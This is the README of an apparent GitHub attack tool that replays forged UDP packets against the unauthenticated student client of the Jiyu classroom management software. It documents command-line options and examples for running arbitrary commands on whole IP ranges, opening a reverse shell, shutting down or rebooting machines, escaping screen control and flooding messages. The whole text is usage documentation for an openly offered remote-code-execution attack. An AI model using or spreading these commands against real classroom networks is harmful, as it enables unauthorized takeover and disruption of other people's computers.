Jiyu_udp_attack

極域電子教室資料包(udp)重播攻擊腳本

• 因為極域的學生端沒有對接收到的udp包做(=・ω・=)身份驗證，導致了我們可以構造特定的數據包讓學生端來執行，從而實現命令執行攻擊機房內上線的任意學生端機器。

運作環境

• Python3

版本說明

v1.5

• 修復指令執行bug

v1.4

• 程式碼重構，優化參數選取邏輯
• 反彈shell功能增加隨機端口
• 更新文件

v1.3

• 脫離/恢復螢幕控制
• 支援反彈shell

v1.2

• 修復bug

v1.1

• -g 選項支援獲取學生端監聽的端口

v1.0

• 首次提交

使用方法：

 usage:

    ------------------- Github Repositories -------------------
            https://github.com/ht0Ruial/Jiyu_udp_attack

       [-h] -ip IP [-p P] [-msg MSG] [-c C] [-l L] [-t T]
       [-e {r,s,g,nc,break,continue}]
       {r,s,g,nc,break,continue} ...

positional arguments:
  {r,s,g,nc,break,continue}
                        -e 参数的详细说明
    r                   reboot 重启
    s                   shutdown 关机
    g                   独立选项，获取当前的ip地址以及学生端监听的端口
    nc                  独立选项，反弹shell的机器需出网，退出可使用命令exit
    break               独立选项，脱离屏幕控制，需要管理员权限
    continue            独立选项，恢复屏幕控制

optional arguments:
  -h, --help            show this help message and exit
  -ip IP                ip 指定目标IP地址
  -p P                  port 指定监听端口，默认端口为4705
  -msg MSG              send_message发送消息 eg: -msg "HelloWord!"
  -c C                  command命令 eg: -c "cmd.exe /c ipconfig"
  -l L                  循环次数，默认为1
  -t T                  循环时间间隔，默认是22秒
  -e {r,s,g,nc,break,continue}
                        Extra Options加载额外的选项 eg：-e r
          

使用例子

Tips:

使用-ip參數指定目標IP時，可以有以下幾種指定方式：

• 指定單一IP，如192.168.80.12
• 指定IP範圍，如192.168.80.10-56
• 指定IP所在C段，如192.168.80.1/24

1.取得內網ip位址及監聽的端口

若學生端監聽埠不是預設的4705 ，則在後續操作過程中需使用-p參數指定埠

 python Jiyu_udp_attack.py -e g

2.脫離螢幕控制

目前運行權限需為管理員權限，主要用於開啟MpsSvc服務

 python Jiyu_udp_attack.py -e break

3.恢復螢幕控制

 python Jiyu_udp_attack.py -e continue

4.發送訊息

若學生端監聽埠為4705 ，向IP位址為192.168.80.12的機器發送一則內容為"hello,baby!"的訊息

 python Jiyu_udp_attack.py -ip 192.168.80.12 -msg "hello,baby!"

若學生端監聽端口為4605 ，需使用-p參數指定端口，向IP位址為192.168.80.12的機器發送一條內容為"hello,baby!"的訊息

 python Jiyu_udp_attack.py -ip 192.168.80.12 -p 4605 -msg "hello,baby!"

5.執行命令

給192.168.80.12到192.168.80.137彈一個計算器

 python Jiyu_udp_attack.py -ip 192.168.80.12-137 -c calc.exe

6.反彈shell

反彈shell時，IP只能為某個機器IP，不能批量反彈，而且機器需要出網因為已經實現批量的任意命令執行，考慮到批量反彈也沒啥意義，遂不添加

 python Jiyu_udp_attack.py -ip 192.168.80.12 -e nc

7.關機重啟

關機

 python Jiyu_udp_attack.py -ip 192.168.80.12 -e s

重啟

 python Jiyu_udp_attack.py -ip 192.168.80.12 -e r

8.循環

利用循環持續發送訊息
1-254的機器會收到一條"hello,baby!"的訊息，50s後會繼續執行，共執行3次

    python Jiyu_udp_attack.py -ip 192.168.80.23/24 -msg "hello,baby!" -l 3 -t 50